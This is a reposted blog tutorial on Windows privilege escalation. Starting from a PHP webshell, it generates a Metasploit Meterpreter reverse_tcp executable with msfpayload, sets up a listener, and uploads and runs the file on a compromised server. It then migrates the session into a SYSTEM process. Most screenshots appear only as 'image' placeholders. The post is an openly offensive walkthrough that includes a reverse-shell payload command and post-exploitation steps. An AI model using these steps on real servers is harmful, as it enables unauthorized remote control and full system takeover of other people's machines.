← 返回终端 ~/blog/blog/2015/08/12/1200.html 全部文章

[【转载】]MsfPayload反弹完美提权

2015-08-12 12:00 #提权相关 约 3 分钟

**Author: V5est0r @binghesec

I am learning MSF recently , So I think it can be used to Promote Authority.**

*Firstly, there is a PHP webshell ;As what can be seen , our current privilege is nt(network user).*

*image*

***Let's configure our MSF:***msfpayload windows/meterpreter/reverse_tcp LHOST=YourIp LPORT=8282 X>/tmp/binghesec.exe

image

******It will make a file named binghesec.exe in directory "/tmp/" , you should copy it to you local system.

Then execute the following command to listening the port 8282:******

image

Then

show options

image

image

If no errors,execute:

exploit

image

**Then upload the file binghesec.exe to remote server mechine.
Let't run the file binghesec.exe in remote server, oh! what happend??**

image

*Yeah,The Meterpreter Session has created,*Execute command : shell
then :whoami
nt(network user)**
then back to meterpreter session:exit
Excute "ps" to see the tasklist , try to find a precess running as SYSTEM and mark its pid:**

*image*

Then Execute:

migrate Pid

*Yeah,succeed!Our session has already Transfered to a SYSTEM process:shell -- whoani -- SYSTEM!!*

image

image